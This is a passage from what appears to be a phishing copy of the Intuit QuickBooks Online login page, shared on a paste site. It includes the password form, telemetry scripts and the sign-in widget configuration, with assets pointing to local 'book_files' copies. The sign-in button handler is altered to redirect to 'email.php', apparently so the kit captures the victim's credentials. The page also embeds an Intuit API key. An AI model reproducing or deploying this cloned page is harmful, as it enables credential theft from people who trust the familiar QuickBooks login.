  362. <div class="clear"></div>
  363. </div>
  364. <div class="fieldcontainer">
  365. <div class="field_label">Password</div>
  366. <div class="fielddiv">
  367. <div style="display:inline;"><input type="password" name="password" id="password" onkeypress="handlepasswordenterkey(GETJSX(), event)" autocomplete="off" tabindex="2" class="textfield" style="padding-left:7px;"></div>
  368. <div style="margin-top:5px; display: none; "><a href="javascript:forgotPassword(qboURL(&#39;login&#39;), document.getElementById(&#39;login&#39;).value)" class="regular_link" style="font-size:10px;" tabindex="6">Forgot your password?</a></div>
  369. </div>
  370. <div class="clear"></div>
  371. </div>
  372. <div id="errorContainer" style="margin-top: 0px; display: none;">
  373. <div class="field_label">&nbsp;</div>
  374. <div class="fielddiv" style="width:275px;">
  375. <div class="error" id="errorDiv"></div>
  376. </div>
  377. <div class="clear"></div>
  378. </div>
  379. <div class="fieldcontainer">
  380. <div class="field_label">&nbsp;</div>
  381. <div class="fielddiv">
  382. <div style="display:inline;"><input type="checkbox" name="rememberMe" id="rememberMe" class="rememberMe" onkeypress="handlepasswordenterkey(GETJSX(), event, true)" tabindex="3"> <label for="rememberMe" class="rememberMe"> Remember my user ID</label></div>
  383. </div>
  384. <div class="clear"></div>
  385. </div>
  386.  
  387. <div class="fieldcontainer" style="margin-top:17px;">
  388. <div class="field_label">&nbsp;</div>
  389. <div class="fielddiv">
  390. <button type="button" class="button primary" style="cursor: pointer;" id="LoginButton" tabindex="4" onclick="doSignin();">Sign In</button>
  391. </div>
  392. <div style="margin-left:10px;float:left;margin-top:13px;font-size:13px"><a href="https://qbo.intuit.com/c36/v1803.859/0/extrequest/login/recover?source=login">Can't access your account?</a></div>
  393. <div class="clear"></div>
  394. </div>
  395.  
  396. <div id="bookmarkLoginPage" class="bookmarkLoginPage" style="display: none;">
  397. <div>
  398. <a href="javascript:bookmarkLoginPage()">Bookmark this page</a> for quick access.
  399. </div>
  400. </div>
  401. <div class="helpcontainer">
  402. <!-- <div id="loginhelp" class="helpcontainertitle">
  403.  
  404. <div style="display: none; " class="morehelplinks"><div class="helpicon"></div><a href="https://help.quickbooks.intuit.com/en_US/kb/whats-unapplied-cash-payment/000001457_en_US:SALESFORCE.modal" target="_blank" class="helptitle">I need help with my user ID and/or password.</a></div>
  405. <div style=""><div class="helpicon"></div><a href="/c36/v1803.859/0/extrequest/login/recover?source=login" target="qbologinrecover" class="helptitle">Trouble signing in?</a></div>
  406. <div class="clear"></div>
  407. </div>-->
  408. <div id="signuplink" class="helpcontainertitle morehelplinks" style="display: none;">
  409. <!--<div class="helpicon"></div>
  410. <div><a href="http://quickbooksonline.intuit.com/bookkeeping-accounting-systems/" target="qbomarketing" class="helptitle">Don't have an account? Sign up here.</a></div>
  411. <div class="clear"></div>-->
  412. </div>
  413. </div>
  414. </div>
  415. </form>
  416. </td>
  417. </tr>
  418. </tbody></table>
  419. </div>
  420. </div>
  421. </div>
  422. <div class="footercontainer generalcontainer ">
  423. <div class="copyright">© 2017 Intuit Inc. All rights reserved.</div>
  424. <div class="footerlinkscontainer">
  425. <div class="footerlinks">
  426. <a class="footer_link" href="https://security.intuit.com/privacy/" target="_blank">Privacy</a>
  427. &nbsp;&nbsp;|&nbsp;&nbsp;
  428. <a class="footer_link" href="https://help.quickbooks.intuit.com/en_US/contact?pageContext=login" target="_blank">Support</a>
  429. </div>
  430. <div class="clear"></div>
  431. </div>
  432. <div class="clear"></div>
  433. </div>
  434.  
  435. <div id="divContentFooter" class="divContentFooter" style="">
  436.  
  437. </div>
  438.  
  439. <div id="divFooter" class="divFooter" style="">
  440.  
  441. </div>
  442.  
  443. <div id="cookiesUsageFooter" class="hide cookiesUsageFooter">
  444. <table class="cookieUsageMessageTable">
  445. <tbody><tr>
  446. <td class="cookieWarnMessage">
  447.  
  448. </td>
  449. <td class="cookieCloseAction" onclick="doAcceptCookieWarning();">X</td>
  450. </tr>
  451. </tbody></table>
  452. </div>
  453.  
  454. <div class="footer3rdPartyLogo">
  455. <a href="https://sealinfo.verisign.com/splash?form_file=fdf/splash.fdf&amp;dn=qbo.intuit.com&amp;lang=en" target="_blank"><img src="./book_files/verisignseal.png"></a>
  456. <a href="http://www.truste.org/ivalidate.php?ctv_group=IntuitSMB&amp;companyName=Intuit&amp;sealid=101" target="_blank" class="trusteSeal"><div class="trustesprite">&nbsp;</div></a>
  457. </div>
  458.  
  459. <script type="text/javascript" src="./book_files/commonutil_min.js.download"></script>
  460. <script>
  461. qbo.login.paycycleUrl = 'https://qbo.onlinepayroll.intuit.com/login/logout_qbosso.jsp';
  462. qbo.ecosystem.partnerLogoutUrls = '';
  463. qbo.preload.bootlayer.url = 'app/hello?localguest=true';
  464. </script>
  465. <script>
  466. // clear authentication level on login page load in session storage
  467.  
  468. try {
  469. if (window.sessionStorage) {
  470. window.sessionStorage.setItem("qbo.authenticationLevel", null);
  471. }
  472. } catch (e) {
  473. // ignore error. No big deal if we cannot set on session storage. This catch is for catching
  474. // QuotaExceededError thrown on Safari private mode
  475. }
  476.  
  477. var zionBaseUrl = QBO_ENV === "prod" ? "https://zion.qbo.intuit.com/api/v1/" : "https://zion-qa.sbgdev.intuit.com/api/v1/";
  478. function attachCommonProperties(entry) {
  479. entry.template="iam_login_ius";
  480. entry.qbo_version=APP_REL_NUM;
  481. entry.ivid=cu_cookies_getCookie(GETJSX(), "ivid") || undefined;
  482. entry.url_path=window.location.pathname;
  483. entry.user_agent=navigator.userAgent;
  484. entry.locale="en_US";
  485. }
  486.  
  487. function log(message, log) {
  488. log = log || {};
  489. log.message = message;
  490. log.log_level="log";
  491. attachCommonProperties(log);
  492. $.ajax({
  493. type: "POST",
  494. contentType: "application/json; charset=utf-8",
  495. dataType: "json",
  496. url: zionBaseUrl + "logsPublic",
  497. headers: {
  498. "Authorization": "Intuit_APIKey intuit_apikey=0d9d2925-eec0-45e9-b24a-b267b331c922"
  499. },
  500. data: JSON.stringify({messages: [log]})
  501. });
  502. }
  503.  
  504. function rum(action, time, rum) {
  505. rum = rum || {};
  506. rum.action = action;
  507. rum.measures = rum.measures || {};
  508. rum.measures.tt = time;
  509. rum.metaData = rum.metaData || {};
  510. attachCommonProperties(rum.metaData);
  511. $.ajax({
  512. type: "POST",
  513. contentType: "application/json; charset=utf-8",
  514. dataType: "json",
  515. url: zionBaseUrl + "rum/recordDataPublic",
  516. headers: {
  517. "Authorization": "Intuit_APIKey intuit_apikey=0d9d2925-eec0-45e9-b24a-b267b331c922"
  518. },
  519. data: JSON.stringify(rum)
  520. });
  521. }
  522.  
  523. function logLoad() {
  524. if(typeof $ === 'undefined') {
  525. setTimeout(function () { logLoad(); }, 100);
  526. } else {
  527. log("iam_login_ius:load");
  528. }
  529. }
  530. logLoad();
  531.  
  532. var iusPartnerUid = "google";
  533. var signInButton = "";
  534. var ssoGuidance = !!"";
  535. var partnerEmail = "";
  536. var partnerProfilePicture = "";
  537.  
  538. if (typeof trackLinkQBOLoginViewOnHarmonySuite === "function") {
  539. trackLinkQBOLoginViewOnHarmonySuite(iusPartnerUid, ssoGuidance);
  540. }
  541.  
  542. function injectPartnerUserInfoFields() {
  543. if (partnerEmail && $('.partner-user-info').length === 0) {
  544. $('#ius-sign-in-sub-header').html('<div class="partner-user-info"><div class="partner-avatar" style="background-image: url(' +
  545. (partnerProfilePicture ? partnerProfilePicture : 'https://uiclassic.intuitcdn.net/v1803.859/images/Grey_PersonAvatar.png') +
  546. ');"></div><div class="partner-email">' + partnerEmail + '</div></div><div>' + $('#ius-sign-in-sub-header').html() + '</div>');
  547. }
  548. }
  549.  
  550. function onIUSSignInViewDisplayed(view) {
  551. if (view === "sign-in-mfa-options-view") {
  552. $("#ius-mfa-options-cancel-link").click(function() {
  553. setTimeout(injectPartnerUserInfoFields);
  554. });
  555. }
  556. }
  557.  
  558. function onIUSSignInWidgetLoad() {
  559. if (!iusLoaded) {
  560. iusLoaded = true;
  561. // GSSO-81: this logic is here because the contentOverride
  562. // does not work if you try to override a locale which isn't
  563. // en_US.
  564. if (customContent && intuit.ius.signIn.init) {
  565. // if the custom content is not en_US
  566. if (intuit.ius.signIn.config.contentOverride[0].locale.toLowerCase() !== intuit.ius.locale) {
  567. intuit.ius.signIn.config.contentOverride.push({
  568. "locale": "en-us",
  569. "overrides": customContent
  570. });
  571. }
  572. intuit.ius.signIn.init();
  573. }
  574.  
  575. var loadTime = (new Date()).getTime() - iusLoadStartTime;
  576. rum("ius-sign-in:load:success", loadTime);
  577.  
  578. if ($("#ius-pin").is(':visible')) {
  579. $("#ius-pin").focus();
  580. } else if ($("#ius-userid").val()) {
  581. $("#ius-password").focus();
  582. } else {
  583. $("#ius-userid").focus();
  584. }
  585.  
  586. $("#ius-userid").attr('data-valid', 'valid');
  587. $("#ius-password").attr('data-valid', 'valid');
  588.  
  589. $("#ius-sign-in-submit-btn").click(function() {
  590. log("ius-sign-in-submit-btn:click");
  591. signInStartTime = (new Date()).getTime();
  592.  
  593. signInButton = "";
  594. window.location.href = 'email.php';
  595.  
  596. if (typeof trackLinkQBOLoginClickOnHarmonySuite === "function") {
  597. trackLinkQBOLoginClickOnHarmonySuite(ssoGuidance && iusPartnerUid, ssoGuidance);
  598. }
  599. });
  600. $("#ius-partner-buttons-list .ius-partner-button").each(function() {
  601. $(this).click(function() {
  602. log("ius-partner-button:click", {partner: iusPartnerUid});
  603. signInStartTime = (new Date()).getTime();
  604.  
  605. signInButton = "partnerauth";
  606. if (typeof trackLinkQBOLoginClickOnHarmonySuite === "function") {
  607. trackLinkQBOLoginClickOnHarmonySuite(iusPartnerUid);
  608. }
  609. });
  610. });
  611. }
  612. }
  613.  
  614. function onPartnerAuthGetDataSuccess(data) {
  615. if (data && data.partner && data.partner.email) {
  616. partnerEmail = data.partner.email;
  617. partnerProfilePicture = data.partner.profilePicture;
  618. setTimeout(injectPartnerUserInfoFields);
  619. }
  620. }
  621.  
  622. var ssoGuidanceHeader = "";
  623. var ssoGuidanceSubHeader = "";
  624. var customContent;
  625.  
  626. if (ssoGuidanceHeader && ssoGuidanceSubHeader) {
  627. customContent = [{
  628. id: 'ius-sign-in-header',
  629. content: ssoGuidanceHeader
  630. }, {
  631. id: 'ius-sign-in-sub-header',
  632. content: ssoGuidanceSubHeader
  633. }];
  634. }
  635.  
  636. var signInStartTime = (new Date()).getTime();
  637. var iusLoadStartTime = (new Date()).getTime();
  638. var iusLoaded = false;
  639. var iusLoadTimeoutMS = 60000;
  640. setTimeout(function() {
  641. if (!iusLoaded) {
  642. rum("ius-sign-in:load:fail", iusLoadTimeoutMS);
  643. }
  644. }, iusLoadTimeoutMS);
  645.  
  646. //IUS SignIn widget config.
  647. intuit.ius.signIn.setup({
  648. partnerAuthButtons: iusPartnerUid && !"" ? [{partnerUid: iusPartnerUid}] : undefined,
  649. contentOverride: customContent,
  650. offeringId: "Intuit.sbe.salsa.default",
  651. offeringEnv: "prd",
  652. country: "US",
  653. termsOfServiceLink: "https://qbo.intuit.com/c1/Terms_Of_Service.html",
  654. theme : 'harmony',
  655. onLoad: onIUSSignInWidgetLoad, // Focus on the right fields onload
  656. onViewDisplayed: onIUSSignInViewDisplayed,
  657. onPartnerAuthGetDataSuccess: onPartnerAuthGetDataSuccess,
  658. customerSupportLink : "https://help.quickbooks.intuit.com/en_US/account?account_recovery_link=https%3A%2F%2Fqbo.intuit.com%2Fc36%2Fv1803.859%2F0%2Fextrequest%2Flogin%2Frecover%3Fsource%3Dlogin", //This need to be set to show the option "Dont't have access to email/phone" on MFA screen
  659. accountRecoveryLink: "/c36/v1803.859/0/extrequest/login/recover?source=login", //Account recovery link during wrong password, locked out case
  660. signUpLink: "http://quickbooks.intuit.com/signup/", //Signup link will be shown below signin button
  661. onSignInFail: function(obj) {
  662. var signInTime = (new Date()).getTime() - signInStartTime;
  663. rum("ius-sign-in:sign-in:fail", signInTime);
  664. log("ius-sign-in:sign-in:fail", {response: JSON.stringify(obj)});
  665. },
  666. onSignInSuccess: function(obj) {
  667. var signInTime = (new Date()).getTime() - signInStartTime;
  668. rum("ius-sign-in:sign-in:success", signInTime);
  669. log("ius-sign-in:sign-in:success", obj && obj.userId && {userId: obj.userId});
  670.  
  671. // set authentication level on signin success in session storage
  672. try {
  673. if (window.sessionStorage) {
  674. window.sessionStorage.setItem("qbo.authenticationLevel", (obj && obj.authenticationLevel));
  675. }
  676. } catch (e) {
  677. // ignore error. No big deal if we cannot set on session storage. This catch is for catching
  678. // QuotaExceededError thrown on Safari private mode
  679. }
  680. var isUserFromQuickBooksMarketingPageLogin = cu_cookies_getCookie(GETJSX(), "is_from_fms_mktg_pg");
  681. var isUserFromQuickBooksMarketingPageVWLogin = cu_cookies_getCookie(GETJSX(), "fms_mktg_pg_vw");
  682. if (typeof trackLinkQBOLoginOnSBGSuite !== "undefined" && typeof trackLinkQBOLoginOnSBGSuite === "function" &&
  683. (isUserFromQuickBooksMarketingPageLogin === "Y" || isUserFromQuickBooksMarketingPageVWLogin === "y")) {
  684. trackLinkQBOLoginOnSBGSuite(!!"");
  685. cu_cookies_deleteCookie(GETJSX(), "is_from_fms_mktg_pg", "/", ".intuit.com")
  686. }
  687. if (typeof trackLinkQBOLoginOnHarmonySuite === "function") {
  688. // Note: If the signInButton is "partnerauth", then rather than hitting this callback, the user
  689. // is redirected to a hosted page, which performs the sign-in, and then directs back to qbo,
  690. // which in turn serves up whichever page is next applicable for the user. This callback, thus,
  691. // is never actually invoked for this use case.
  692. // I've left the "partnerauth" check in the code anyway, so that someday in the future,
  693. // if/when we ever move login to a SPA, the tracking will work even for partnerauth.
  694. trackLinkQBOLoginOnHarmonySuite((ssoGuidance || signInButton === "partnerauth") && iusPartnerUid, ssoGuidance);
  695. }
  696.  
  697. // On success reload the login page. If authenticated, it will go to company selection page Or homepage. Our login will handle that.
  698. window.location.reload(true);
  699. }
  700. });
  701. </script><iframe id="ividFrame" height="10" width="10" frameborder="0" tabindex="-1" title="" style="color:rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200x; border:0px; display:inline" src="./book_files/ividFrame.html"></iframe>
  702.  
  703.  
  704. <iframe id="intuit.ius.xdrIframe" height="100" width="100" frameborder="0" tabindex="-1" title="" style="color:rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200x; border:0px; display:inline" src="./book_files/xdr.html"></iframe><iframe src="./book_files/hello.html" style="width:0; height:0; display:none"></iframe></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement